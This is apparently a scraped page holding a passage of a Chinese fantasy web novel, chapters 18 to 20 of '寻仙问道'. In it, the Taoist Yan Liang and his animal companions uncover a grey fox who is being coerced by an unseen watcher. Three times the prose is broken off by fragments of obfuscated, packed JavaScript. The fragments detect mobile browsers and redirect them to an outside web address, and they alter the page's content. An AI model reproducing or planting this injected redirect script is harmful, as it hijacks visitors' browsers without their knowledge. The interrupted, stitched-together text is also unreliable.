d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774603|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必会更加丰富吧。 白狐和杂毛灰狐狸在三百年以前就分道扬镳,彼此谁也没过问对方的下落,能在这里遇见杂毛灰狐狸,他厌烦得想吐。 谁都能看出来他的厌烦,因为自从说起这个亲戚,白狐一直坚称对方为“杂毛灰狐狸”,言语中多是怨愤不平之意。 晏良一直以为他是只快乐的狐狸,短短几个时辰内却见到了不同的狐狸样。 这家伙的心思怎么好像比槐树还要沉重? 猴哥显然和晏良想法一致,一言难尽地瞧着嘀嘀咕咕唧唧歪歪的白狐,转过脸,一副不想看也不想听的模样。 白狐尾巴一甩,哒哒的往前跑,甩下一句豪言:“我一定要给那家伙好看!” 话没说完,狐已蹿出一丈远,扭头招呼:“赶紧跟我来!” 晏良扛上猴哥,拿起槐木小人,追了上去。 动听的乐声一刻不曾停下,听得时间越久,这声音便更像在脑海内响起、深深地刻入灵魂之中,甚至愈发扰乱人的思绪。 晏良自己也不大明白为何自己先前中了招,这会儿听着乐曲却如没事人一般。反观白狐,叫嚣着揍亲戚狐狸一马当先地领路,走着走着便拐了方向往乐声来源处走去,随后被猴哥扇醒,之后又被迷惑,再被扇醒……如此循环三次,晏良都心疼猴哥的手了。 乐声的尽头,会有什么? 晏良想要去一探究竟,但不确定性因素太多,白狐好歹能够嗅到亲戚的所在,这方面是可以肯定的。 于是晏良想了想,抽出一张提神醒脑符贴在白狐头顶,道:“效果如何我也不大确定,先走一段路试试?” 事到如今,已经没有人想好奇为什么明明是晏良自己画的符,却是“不打确定”“试试”,白狐伸手摁住黄符,继续哒哒往前窜,其余三个紧随其后,这次顺畅无阻,没有再出波折。 白狐松了一口气:有用就好,臭猴子下手越来越狠看了,他脸疼得慌。 · 幽深阴暗的房间里,一面水镜悬在空中,波光粼粼,其中倒映出一个人类与三个非人类。 人,猴,狐,树。 如此奇怪的组合令水镜前的观看者有点恍惚,他看了许久,一时之间毫无动作。直到看出晏良拿出一张符咒,他才似是回过神来,猛地凑到水镜跟前,仔仔细细地打量那张符咒。 隔着水镜,符纸的材质和丹砂的材料无法分辨,但纹路却瞧得一清二楚,白色的狐狸脑门更将那黄符衬得鲜明。 他从没有见过那样的符咒画法。 “看够了吗?”一道尖细的、难以分辨出性别的声音在空旷阴暗的房间中响起,“他们没有被迷惑!如果找上门来了该怎么办?” “不会找上门来的,你怕什么?”另一道声音冷淡地回应道,“你没听见那只狐狸要找灰狐狸吗?自己去安排,别用这事烦我。” “你——!!” 尖细声音愤怒不已,但终究闭了嘴,没继续说下去。、 房间内再度归于寂静。 水镜前的身影孤零零地杵在原地。 · 猴哥道:“你的鼻子是不是出问题了?” 他们在这宅邸中绕了有大半晌,别说灰狐狸毛了,连人的影子都没见到。 白狐脚步不停:“快了快了!我能肯定,他就在前面——” 前方尽头有一扇门,白狐猛地冲了过去,甚至没有拉开门,而是直接飞扑撞进屋中,伴随着他的大喊,房门轰然倒地,露出屋中的人影。 “杂毛灰狐狸!还记得我吗!” 屋中有一道人影席地而坐,冷冷投来一瞥。 灰发及地,瘦削苍白。 白狐的声音戛然而止。 一时之间,屋内没有任何声音。 晏良忽然抬头,望向房顶,眼神冷静,他凝视片刻,慢慢地收回视线。 槐树问:“怎么了?” 晏良答:“我还以为这屋内有光呢,原来是这位白得发光。” 18.寻仙问道(十八) ‖晋。江文学城独发‖ * 晏良一句话没头没脑,略显冷凝的氛围被冲散些许,白狐松了口气,猴哥却又紧接着道:“笨狐狸,你这个亲戚的变人水平倒是比你好很多很多。” “别小看我,我要变也是能变出来的!”白狐强调道,“我只是不想而已。” 这边热热闹闹,当事狐之一的灰狐狸却一言不发,晏良朝他拱手:“你好。” 灰狐狸面无表情,视线从一行人身上冷冷扫过,一副不将人放在眼里的傲慢模样:“你也沦落到和人类混在一起的地步了啊。难道你当初说的话都是骗人的?” 白狐道:“你懂什么?喜欢和人类混在一起的是你才对,摆出这么副看不起狐狸的样子给谁看?这城主之位就这么好坐?别装了,好酒好肉送上来,我们过一晚就走。” 他咄咄逼人,但说话间隙看向灰狐的眼神满是纳闷,白狐十分不解,尽管三百年没见,但杂毛灰狐狸才不是这样冷冰冰地看不起人的性格。 按白狐的预想,灰狐狸相当难缠,他都想好怎么敷衍教训这家伙了,结果重逢后冷漠得不像样。 难道这就是人类所说的看菜下碟? 灰狐狸还坐在原处,连挪都不带挪的,语气漫不经心:“你都说我是城主了,我还理你这个无名小卒做什么?别太看得起自己,从哪儿来回哪儿去。” 白狐被噎得说不出话,他瞪着灰狐狸,心中十分不解:三百年能有这样的大的变化? 就算他们分别时闹得不太愉快……可灰狐简直像是连狐格都变了。 猴哥双臂环胸,问道:“灰狐狸,你都做上城主了,怎么还一个狐狸困在这不见天日的小黑屋里?” 灰狐皱起眉头:“我喜欢,你个猴子怎么管得这么宽?” 这倒不是管得宽不宽的事情,而是这件事很不正常。 白狐后知后觉,但此时也不知道该说什么,他对杂毛灰狐狸的了解是过去式,当然不清楚现在的灰狐狸在喜好上是否发生了什么变化。 就算猴哥不介意,晏良也看不得猴哥被这么说,他郑重道:“不要这么说,我也很好奇你为什么要困在小黑屋里……这不利于养伤,不是吗?” “你受伤了?”白狐诧异反问。 “咦?他受伤了?”猴哥好奇地看向晏良。 灰狐狸身后蹦出来一条毛绒绒的蓬松狐尾,双目圆瞪,显而易见,晏良说对了。 槐树奇怪地说:“我都没看出来,你是怎么看出来的?” 晏良微笑:“算出来的。” “……” 灰狐狸显然不想被这么随随便便的敷衍过去,道:“说什么胡话,赶紧离开,别在我这儿碍眼。” 他仿佛连看他们一眼都嫌烦。 白狐意识到了这件事,当即决定道:“行了,晏良,咱们走吧。” 晏良一呆:“……我以为你会和他对着干,非得留下来不可……” 白狐对此嗤之以鼻:“我是那种无聊的狐狸吗?热脸贴冷屁股都事我才不干。” “可是,”晏良认真地说,“我想留下来,现在去找地方休息已经来不及了。” 白狐:“……” 槐树此时用的身体都是晏良雕刻的,便说道:“我和他一起。” 猴哥更不用说,他不止要与晏良一起前往西牛贺洲寻访仙缘,还在暗中观察晏良,不可能丢下晏良离开。 于是猴哥十分少见地对白狐讲了礼貌,彬彬有礼地说:“看来只能请你自己走了。” “…………”白狐往地上一趴,开始叫,“啊嗷啊嗷啊嗷——” 他才不走!谁走谁是笨蛋! · “他是不是察觉到了什么?” 空旷幽暗的房间内,那道尖细的声音满含惊慌与担忧。 水镜前的黑衣人没有开口,只是盯着画面中央笑意盈盈的年轻人。 自方才那仿佛直直望进人心里的一瞥之后,年轻人不曾再投来目光,似乎那一瞥真的只是为了看看屋内是否有天窗。 此时,画面中还在就是否留下而纠缠不清,年轻人拎起了白毛狐狸,正耐心地向灰狐狸请求留他们住一晚的事。 尽管年轻人表情真挚,但他知道对方的目的绝不止“住一晚”这般简单。 他们从城外到城内的行踪都被他看在眼里,其他妖怪不提,这个年轻道士一定打算捉妖除害。 说起来,一个道士身边却带着三个妖怪……这人是真的将他们当做同伴么? 黑衣人想起一些久远的回忆,而此时那尖细声音依旧在不知疲倦地重复同样的忧虑,令人心烦意乱,他不由得出声何止,声音低沉:“够了,别多想,与其瞎着急,不如多动动脑子。” 尖细声音不甘道:“你究竟有没有在认真考虑我的事情?!你当初找上门来时可不是对我这个态度!” “那又如何?”低沉声音冷冷笑道,“拉人下水之前总得给个甜头,你如今又能有什么办法?” “你!” 尖细声音几欲抓狂,恨得说不出话。 终于安静了。 黑衣人向灰狐狸发出指示。 水镜显示的画面中,一直皱着眉拼命拒绝晏良的无理恳求的灰狐狸有一瞬的僵硬。 这下两个声音都发出了笑声,犹如唱双簧似的。 “这只倒霉狐狸真是——” “不走运啊——。” · 也许是被晏良的诚恳请求缠得烦了,灰狐狸身子一转,大声道:“够了!想留就留吧!就算你们之后想走——我也不会让你们走的。” 晏良笑眯眯地说:“哈哈哈,好好笑的玩笑。” 灰狐狸恨恨地瞪了他一眼。 白狐不高兴地道:“你瞪什么?” 灰狐狸尾巴一扫,从白狐脸上重重拍过,不疼,但白狐更加不高兴了。 晏良握拳抵唇,干咳一声,道:“多谢,有劳你带我们去客房了。” 灰狐狸:“…………跟上!” 尽管晏良说灰狐狸受了伤,但不管是近距离相处、还是在带他们去客房的路上,灰狐狸没有表现出任何不适之处。 白狐显然将晏良的话往心里去了,一路上缠着灰狐狸,不是拽他尾巴就是蹲在他头顶用尾巴挡住他的视线。 灰狐狸毫无反应,只是冷冰冰的保持着沉默。 等灰狐狸离开之后,猴哥悄悄和晏良说小话,问:“你是不是还有没说的事情?” 晏良夸赞道:“不愧是猴哥,简直和我心有灵犀呀。” 猴哥问道:“我看他正常的很,是哪里受了伤,又是为什么受的伤,你能看到这些么?” 晏良认真地回答道:“我知道他哪里受了伤,至于受伤的原因看不到太具体的前因后果,但能确定的是因为争权——和地位以及权力有关。” 猴哥纳闷道:“他的实力比人类强太多……难道是在来这里之前受的伤?” 他琢磨着事情,一抬眼,却发现晏良双眼亮晶晶地看他,一副感动不已的模样。 又来了。 “……怎么了?”猴哥歪了歪脑袋,问道。 “不……我只是觉得,你思考的样子很帅气。”晏良诚恳地说。 晏良是个不吝啬表达感情的人,非常擅长刷好感,猴哥听过他说过很多次类似的话,但每次都能被他夸得喜笑颜开。 “算你有眼光。”猴哥翘起尾巴,笑嘻嘻地说,“你也不赖。” 一人一猴如此互吹一波,约定今天晚上夜探城主府,晏良和猴哥都想快点解决这件事好去西牛贺洲拜师,没有时间在这里耗。 槐树听说他们的打算,表示自己也要跟着去,比起他这个小木人,猴子明显更不好藏,既然猴子能去,他也得去。 至于白毛狐狸,槐树嗤之以鼻:“他自己缩在被子里不肯出来,不知道在想什么,别管他,说一声行了。” 没见到灰狐狸之前,白狐叽叽喳喳叫嚣着要教训他,见到了之后他却陷入消沉。槐树不是很能理解白狐前后不一的言行。 晏良倒是略懂一点点。 叮嘱好白狐好好休息之后,人、猴、树潇潇洒洒地离开,片刻过后,白毛狐狸从被子中探出头。 不是,就真的丢下他了? · 晏良确信灰狐狸背后有幕后黑手。 别的不说,他对旁人的视线非常敏感,从城门口开始,暗中的视线如影随形。起初,晏良以为这个偷窥者是白狐的朋友,但等真见到了灰狐狸之后,那道视线并未消失,存在感反而愈发强烈。 一般这种情况下,对方一定不是什么好鸟,灰狐狸也不是什么十恶不赦的坏妖怪。 晏良往自己和猴哥身上贴了隐身符,至于槐树,个头太小,蹲在晏良怀里,一通隐身了。 隐身符咒在环娘的幻境中有作用,但晏良不确定视线的另一头是用什么道具进行监视的,因此除了隐身符之外他还将所有与隐藏气息行踪的符咒都拿了出来——这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14779947|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 符咒都有时效性,好在晏良屯得多,不必担心不够用。 符咒贴了一张又一张,晏良终于没有感知到那阴冷黏腻的注视,松了口气,告诉猴哥和槐树,可以行动了。 猴哥好奇道:“晏良小弟,你是怎么知道他看不见我们的?” 这似乎不是能用算卦算出来的事。 晏良想了想,道:“可能是依靠直觉……和修为无关,我对别人的视线一直十分敏感。” 在武侠世界里还普普通通,但到了这个世界后似乎变得更加敏锐了——他察觉到那无处不在的视线时相当意外呢。 猴哥若有所思地点头。 城主府中的乐曲声一直没有断绝,即使是在与灰狐狸对话、彼此吵吵闹闹时,那声音依旧没有停下,存在感愈发微弱,甚至让人习惯了这段乐曲声。 听不出旋律的乐曲声不知道有什么作用,不见任何人影的城主府显得空荡荡的,月光冰凉,晏良选择先顺着乐曲声前去查探与求生的来源。 隐身符的效用出乎意料的好,地面上没有映出他们的影子,晏良经过院子时人瞥了一眼地面,心里生出几分用科学道理进行解释的念头,但他压制住了这股冲动。 武侠世界不讲牛顿定理,仙鬼世界不讲光的折射,合理,十分合理。 晏良回过神,正待往前走,脚下却迈了个空,失重感传来,紧接着手腕被拽住,猴哥在上方拉着他,而下方竟有一个大洞,向上扑来呜呜呼啸的风。 他很确信,自己迈出步子的前一秒,地面极为平坦,并没有什么深不见底的大坑。 借着猴哥的力,晏良翻身爬了上去,抬眼四望,表情凝重。 只见乌云遮住明月,洒下朦胧月光,四周房屋扭动似蛇,地面翻滚如浪,气势汹汹地扑面而来。 这场景太有迷惑性,晏良一时分不清这是幻境还是现实,但无论如何,他都有应对的办法。 不管三七二十一,晏良甩出法器——小木车,捞着猴哥钻了进去。 小木车在涌动的地面上打转,晏良一脚踩上不是油门当油门,小木车飞驰出去,在空中留下一道优美圆润的弧线。 槐树艰难地从晏良怀里爬出,眼前是声势汹汹扑面而来的墙壁与地面,树枝自车顶划过,近在咫尺,差一点就能探进车中。天旋地转,风声猎猎中,槐树听到了猴子的叫声: “呜呼!” “嘿哈!” 这是为了应和猴哥、并且确实心情激荡而叫出声的晏良。 槐树:“……” 他想缩回去。 小木车在不平坦的车道上旋转漂移,晏良尽兴之余没忘记真正的目的,找准方向,猛地冲破幻境。 不愧是贴满防御符的小木车,就算此前撞树擦墙,破除幻境后闯进屋中,也没有变得破破烂烂。 就是速度还是太慢了点。晏良的紧迫感不由得变得更深了。 飙车飙得不得劲,后半程几乎全靠晏良用灵力外部加速,实在是不过瘾。 小木车正好卡在门框中间,晏良猴哥先后下了车,随后晏良收回这个称心得意的交通工具,转头和猴哥一起向里探索。 乐曲声正是从这个屋中传来,悠然飘渺,但听得多了,犹如蚊子嗡嗡叫。 “咱们都做到这种地步了,还是没看见一个人。”猴哥说,“莫非这城主府里的人都被杀了?” “希望不是……”晏良谨慎地回答。 槐树对他俩的心大感到无言,与其担心旁人,怎么不见他们担心自己? 能让一个城主府的人消失无踪的家伙,肯定不好对付。 屋内深处传来窸窸窣窣的动静。 个子高挑的灰狐狸走了出来,灰发过腰,如同绸缎,然而颜色灰暗,正像他此时的脸色。 “……没见过你们这样的客人。”他的声音也有气无力的。 “哪里哪里,没有比我们更热心的客人了。”晏良谦虚地说,随后笑脸一扬,说,“我略通医术,可以给你看病哦。” “……谁病了?”灰狐狸不承认,表情冷得吓人,“赶紧回去,别来烦我,明天我就把你们赶走。” 晏良坚持道:“有人想求我治病都求不来呢,你不考虑一下么?” 灰狐狸气笑了:“我还得谢——” 声音戛然而止,旋即硬生生地改了口:“既然你非要治不可,也不是不可以。” 事实胜于雄辩,灰狐狸的改口太生硬,就算没有察觉到隐藏在暗中的视线,也能分辨出来。 19.寻仙问道(十九) ‖晋。江文学城独发‖ * 灰狐狸冷着脸将晏良迎进房间内,他一个狐狸占着一张大床,纱幔飘扬,月光透过窗棂在地面流淌。 房间内寂静又冷清,伴随着不知从何处传来的乐曲声,更显阴森可怖。 晏良笼着袖子跟在他身后,四处打量一番,回头发现猴哥正和灰狐狸大眼瞪小眼。 灰狐狸瞥向晏良:“其实我一直很好奇,你个道士怎么会和妖怪为伍?莫不是包藏祸心想用他们炼丹?” 晏良眨了眨眼,恍然道:“……我还没试过炼丹呢。” 不妙啊不妙,他只顾着练习画符了布阵,炼丹和熬药大概有点相通之处的吧? 灰狐狸:“?” 不是很懂这句话的意思,要么会,要么不会,没试过是怎么回事。 但晏良已经一本正经地接着道:“你怀疑什么都不能怀疑我和猴哥之间的情谊,我们是朋友,他是我大哥!” 猴哥叉腰道:“此言对极!” 灰狐狸开始怀疑眼前的道士才是真正有病的那个了。 他看了眼晏良肩膀上坐着的槐树精,又看了眼猴子,停顿片刻,问道:“你想怎么治?话说回来,没见过你这么积极主动要治妖怪的道士,你究竟藏着什么祸心?” 晏良笑眯眯地大步上前,一爪子拍在灰狐狸后背上,道:“首先,你得变回原形。” “嗷!” 灰狐狸惨叫一声,痛得说不出话,四处蹦跶片刻,“嘭”的一声变为原形。 确实是一只杂毛灰狐狸,灰色毛发深浅不一,还带点渐变,与白狐洁白无瑕的毛发十分不同,体型和白狐差不多。 从腹部延伸出一条鲜红的伤疤,几乎占了半边身子,消失在脊背处。鲜红的疤痕还在渗血,触目惊心。 灰狐狸趴在地上呻|吟,晏良蹲下|身伸手扒拉了他一下,歉然道:“我没用多大力气……很疼吗?” 就像当初拽出槐树的人形一般,晏良是想将灰狐狸拍回原形的,可是灰狐狸惨叫呻吟的模样有点出乎他的意料。 灰狐狸:“……不疼才怪。” 其实没有那么疼,但说出来会很丢脸。 晏良小心翼翼地抱起无精打采的灰狐狸放到床上,开始仔细观察他的伤口。 他的伤口显然是被利爪破开所致,并且他受伤有一段时日,却依旧是皮开肉绽,没有一丝愈合的迹象。 晏良看得直皱眉,手下灰狐狸不住颤抖,猴哥道:“你这是惹到谁了?” 灰狐狸不说话,埋头沉默的样子和白狐有点微妙的相似。 晏良开始从空间里摸熬制好的各种药膏药材,猴哥伸手碰了碰灰狐狸的伤,各忙各的,自在又随意。 槐树左看又看,还要抽时间看门外,以防幕后之人再整什么幺蛾子,转头看到一人一猴的自在模样,莫名无言。 只有他一棵树担心遇到危险吗? 晏良纯粹是觉得对方既然叫灰狐狸顶上来,一定有别的打算,也许是想观察他——毕竟从他们开车突破幻境后,那道视线已经再次出现了,阴魂不散简直像背后灵似的。 既然如此,那就让他好好看个够。 灰狐狸难得的十分安心,趴在床上昏昏欲睡,余光中瞥见床上微晃的灯影,鼻尖还传来隐隐约约的香气,疑惑地侧头,看到晏良在床边摆上了大锅,不由得毛骨悚然:“你干什么?” 难道是想吃掉他? 果然是个包藏祸心的坏道士么,可恶!是他太天真又被骗了! 晏良茫然抬眼:“熬药啊。” 他熬制好的药不够用。 灰狐狸见他神色真诚,不像做假,迟疑片刻:“你现熬啊?没有丹药吗?” 人类风湿头痛时会熬药缓解病痛,但你个道士怎么也这么接地气?他见过的道士不是这样的。 晏良目移:“我都没说我是什么人,你好像一直都确定我是个道士。” “……”灰狐狸憋屈得很,他确实没听过,但是有人告诉过他啊,“你也没否认过,难道你不是个道士?” “唔,曾经有很多人说我是个神棍,现在的话,我说我是道士更好和人打交道。” 晏良真诚地说。 毕竟武侠世界里是没有神鬼的嘛,大家一开始都不信他,谁叫他算得准呢?“神棍”这个称呼于他而言可没有贬义,是在夸他的。 灰狐狸:“……” 被人说成神棍,岂不是和医生被评价为庸医一个道理? 救命!这人真的靠谱吗! 灰狐狸溜走,但身边一只猴子和一棵树紧紧按着他,这样更显得他如待宰的羔羊一般。 而晏良紧接着拿出了针线。 屋内的火光在他脸上映出一层淡淡的橘色光辉,不显亲和,只有惊悚。 “不用担心,消过毒了。”晏良安慰道。 消毒?什么消毒!难道这针线原本是有毒的吗?! 灰狐狸呜呜叫,觉得自己开门迎接这伙人就是个天大的错误——尽管他当时不得不开门,但也耽误他后悔。 他后悔的事不止迎接晏良进屋,还有来到这座城池,妖界不好混,人间水太深,他真是倒霉透顶。 嘴里忽然被塞了个小小的硬块,灰狐狸下意识地一咬,锋利的牙齿瞬间咬开,嘎嘣一声,口腔中绽开清甜的香气。 灰狐狸:嚼啊嚼,好甜。 晏良动手缝合伤口。灰狐狸这次没叫,出奇地安静,默默回味着那股暖洋洋的甜意。 猴哥和槐树目不转睛地观察着晏良的一举一动,晏良的手很稳,而槐树此时脑海中再次冒出一个疑问。 借尸还魂有违天和,即使成功,身体与灵魂也不会如此契合。 晏良无论修习着多么厉害的功法道术,却无法治愈身体原有的病痛。 顶着如此病弱的身体,借尸还魂后的晏良能有多长的寿命? 灰狐狸的伤口缝合完毕后,晏良将重要物品收回空间,往床上一躺,长长地呼出一口气 隐在袖子里的双手难以控制的颤动。缝合伤口是件很耗费体力丹事,晏良不觉得难,但身体无法承受。 灰狐狸扭捏片刻,小声道:“谢谢。” 晏良坐起身,微笑道:“不客气。” 给伤口上药的事由槐树来做,槐树一点都不会对狐狸手下留情,面无表情地用枝条敷药,觉得这活由白毛狐狸做最合适。 那只狐狸不是安省的主,应该不会因为消沉失落而一直蜷在被窝里宅。 而晏良和猴哥蹲在锅边熬药,顺手塞给他一把水果糖。 猴哥一早就眼馋了,揣着糖笑了起来:“晏良小弟,你对我就这么大方?” 晏良说:“当然了,我很高兴能见到你。” 猴哥歪着脑袋看他:“你到底是什么?是妖怪,还是人?” 晏良知道迟早会有这么一问,曾经有许多朋友好奇过他的来历,有过类似的对话。他从来没有隐瞒的意思,但与系统的合同不可违背,大部分情况下晏良的回答只有“不能说”。 小部分情况则可以钻空子,不被允许说的是他和系统的约定以及系统的存在本身,其余方面能钻的空子多不胜数,连晏良本人都觉得某种程度上来说这个限制并不是很严密。 所以他爽快地回答道:“我是人,货真价实的人。” 猴哥问道:“可你会的东西比一般人还要多……我看那地府鬼差没找你麻烦,所谓的借尸还魂是真的么?” 晏良点头道:“是真的。” 猴哥还是十分不解:“你需要借尸还魂,那么在此之前,你是如何死的?” 这个问题一下子将晏良问住了,他死的次数不少,借尸还魂的次数也不少,但看着猴哥满是认真的澄澈双眼,晏良犹豫片刻,回答道:“是病死的。” 猴哥和晏良对视须臾,移开视线,身后的长尾巴在空中慢悠悠地摇来晃去。他没有继续追问,晏良松了口气,即使早有预料,也有准备,但他依旧不是很习惯面对类似的场面。 随后,他悄悄拿出道具,邀请猴哥做一件事。 …… 槐树给灰狐狸上完药,后者慢吞吞地爬起来,乖巧地蹲在他们面前。 他周身的氛围和白天初次见面时相比有了截然不同的变化,回忆起今晚碰面时时不时跳脚大叫的灰狐狸,晏良有种怪不得他和白狐狸能玩到一块去的恍然。 任谁看了白狐那消沉的模样,都不会觉得他和灰狐狸不对头,那么他一提到灰狐狸就怨愤不平的态度就相当令人好奇了。 灰狐狸道:“那只白毛狐狸呢?” 槐树道:“你问得有点晚。” 灰狐狸道:“我又不在乎他,什么时候问都可以。” 喂,连你也要口是心非吗。晏良默默地想,他不想绕圈,开门见山道:“你背后的那个人是谁?” 灰狐狸卡壳,随后伸爪拍地,不怒而威道:“什么那个人?在这里我就是老大。” 但他一只毛绒绒的灰狐狸对晏良而言根本没有什么震慑力。 只会显得他很可爱而已。 晏良无奈:“你和白狐一样不会隐瞒情绪啊……我很难不怀疑你受伤是因为没掩饰住野心被揪住了狐狸尾巴。” “…………” 漫长的沉默。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14784894|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晏良:……咦?真是这样? 他又掐指一算,随后了然,看向灰狐狸的眼神变得微妙起来。 猴哥还记得夜探城主府之前晏良说过的话,闻言好奇地问沉默不语的灰狐狸:“狐狸要怎么争权夺利,难道你们也有美狐王么?” 猴哥有勇有谋,越过瀑布发现水帘洞,做到了猴子们不曾做到的事,是众望所归的美猴王。花果山上下,所有猴子都是真心实意称他为大王的。 推猴及狐,猴哥才想灰狐狸是某个狐王底下的小弟,想翻身做大王。 而事实上,还真叫猴哥猜着了。 “什么美狐王,我们狐狸才不讲美貌呢。”灰狐狸觉得臭猴子的话怎么听都不顺心,不甘心地道,“我真的藏不住情绪么?” “其实也没有……”晏良看他那么失落,那么不甘心,安慰他,“起码白天我被你骗过去了。比白狐好很多很多。” 白狐是真的藏不住,或者说他没有藏住情绪的意识。 猴哥附和地点头。 · 从晏良踏入灰狐狸的房间之后,他们的一言一行都在幕后之人的视线下。 因为晏良那些稀奇古怪的玩意儿,没有人去打扰他的行动,默默看完全程后,紧接其后的发展出乎意料,令水镜前的人陷入沉默。 阴暗空旷的房间内,水镜上显现出年轻道士和妖怪谈笑风生的画面。 “……他们在干什么!”尖细声音叫喊着说,“他们怎么不来找我?” “你还希望他来吗?”低沉声音的语气有点无语。 “……不是、可是——”尖细声音听起来十分不甘心。 “他不来还是好事,你没瞧见他的术法很诡异么?连法器也是稀奇古怪的……还有那棵树。”低沉声音说到后来,语气近乎于低语,“我可帮不了你。” “那叫灰狐狸杀了他。”尖细声音慌张道,“就算两败俱伤也行,我可不想和那个道士正面对上——你再帮帮我。” 低沉声音沉默片刻,朝灰狐狸下达指示。 画面上的灰狐狸正甩着尾巴,时不时地发出几声嘤嘤叫回应晏良的话,听到暗中的指示,尾巴都垂了下来,那模样实在可怜。 ;ll “嘻嘻。”尖细声音发出嘲笑,“这狐狸恐怕又要后悔当初来找自己的人类朋友了。” “现在又不得不杀掉新的人类朋友,真是倒霉啊。” 尖细声音自顾自地说着,另一个声音始终不曾开口,只是凝视着水镜上眼含笑意的年轻人,和他对面僵在原地、沉默不语的灰狐狸。 · ——杀掉面前的道士。 灰狐狸骤然之间收到了那个人的指示。之前的指示并不是那么为难狐的事,不用对旧识下手,直到接收指示之前,他甚至还想着也许那个人会放他们离开。 忽然到来的指示如一盆凉水将灰狐狸浇醒,他早该知道的,早在那个人让他将他们留下时,就不会轻易放他们离开的。 晏良试探性地伸手拍了拍狐狸脑袋,问道:“那个人又有新的指示了吗?” 猴哥盯着晏良的动作。 灰狐狸颓然垂首,喃喃道:“我不想伤害你的——” 话音未落,身后现出六条狐尾虚影,以迅雷不及掩耳之势攻向晏良,与此同时,晏良拿出神棍横在身前,却没有任何动作。 狐尾落下的瞬间,晏良眼前现出一道金色半圆,将他罩在其中,狐尾与圆罩激烈碰撞绽开金色的星点。 灰狐狸只觉得尾巴敲在了石块上,不,甚至比石块还要硬。牵动没有愈合的伤口,灰狐狸“嗷”的叫出声。 晏良握着神棍,看灰狐狸捂着尾巴嗷嘤嗷嘤叫,不由得惊叹:“防御符咒效果这么好吗?” 槐树也很意外:“我看你画符咒很简单……以为不是什么效用强的符咒。” 晏良扶起灰狐狸,摸摸头:“我觉得你出手之前可以提前说一声。” 灰狐狸有气无力:“……为什么要说。” “有人要你杀我啊。”晏良揉了揉狐狸耳朵,“那两个声音很难听吧?” 尽管不知道那一头是通过什么方法偷窥这边的场面,但晏良在和猴哥一起熬药时悄悄布置了阵法,可以放大声音。 猴哥和晏良听到了一样的内容,当那头在居高临下地对话时,每一个字都被听得一清二楚。 灰狐狸吃惊地看着晏良:“……两个声音?” 晏良:“咦?” 猴哥:“不是吗?” 槐树:“喂,我什么都没听见。” “我从始至终见到的只有一个人。”灰狐狸说,“听到的只有一个声音。” 20.寻仙问道(二十) ‖晋。江文学城独发‖ * 有那么一瞬,晏良怀疑自己可能听到了不存在的声音,但看着猴哥疑惑的眼睛,他恍然大悟: ——灰狐狸背后的那个人,也许是精分了。 “你们赶紧逃吧。”灰狐狸难过地说,“不要和他对上,不管是妖怪还是人类,他都不会心软的。我大概也快要死了。” 猴哥不解道:“他很可怕吗?” 灰狐狸道:“你觉得我没想过反抗吗?我来这儿之前也是积雷山摩云洞的二把手,如果不是因为受了伤,轻信于人,被用狐质威胁,我才不会任他指挥。” 晏良默然,这不是……debuff叠满了嘛。 “积雷山?”猴哥说,“没听过的地名,想必没我的花果山风景秀丽。” 灰狐狸道:“你那花果山我也没听过,想必是个只有猴子喳喳叫的小丘。” 一猴一狐互相瞪视,谁也不让谁,晏良忍住纠正灰狐狸的冲动,无奈道:“两位别吵了,狐质是怎么回事?” 灰狐狸的表情变得有些不自然,他起身带着晏良等人走向传来阵阵乐声的地方,在房间的最深处,有一扇门,打开门后是一条漆黑幽深的隧道。 乐曲声从里面传来,回音在狭长的隧道中荡出飘渺阴森的回音,宛如有谁在呜呜低泣。 灰狐狸带着他们向前,低声道:“和我一起来天玄城的狐狸们都被这乐曲声迷惑,沉睡许久了,如果我不配合他,他们就会死。” 灰狐狸有些难堪地讲述起前因后果。 与白狐分道扬镳后灰狐狸在万岁狐王手底下做事,兢兢业业干到二把手的位置,不想当首领的二把手不是好狐狸,时日一久,灰狐狸觉得自己也可以一争妖王之位。然而天不遂狐愿,重伤惨败,火急火燎地带着一起造反的狐狸伙伴们逃跑。 而天玄城的黄城主与灰狐狸有救,对方活了二十五年,灰狐狸从他八岁时认识他,每年四季都会来找他玩,结下了深厚的友谊。 于是灰狐狸前来投奔黄城主,此举乃迫不得已,首先他重伤,其次万狐妖王积威甚重,积雷山附近没有妖胆敢伸出援手,最后黄城主是知道灰狐狸的野心、并曾出言积极鼓励他,希望他能和自己一样推翻阻碍,得偿所愿,破开束缚。 黄城主说过,他们永远是朋友。 晏良总觉得哪里不对劲:“黄城主是怎么当上城主的?” 城门口的百姓说黄城主二十岁时当了城主,当时他爹重病垂危,是黄城主勇挑重担,接过城主的责任,一直做得很好。 灰狐狸道:“他爹为人霸道冷漠,病重时不肯让位,是他逼着他爹让位的。” 晏良:…… 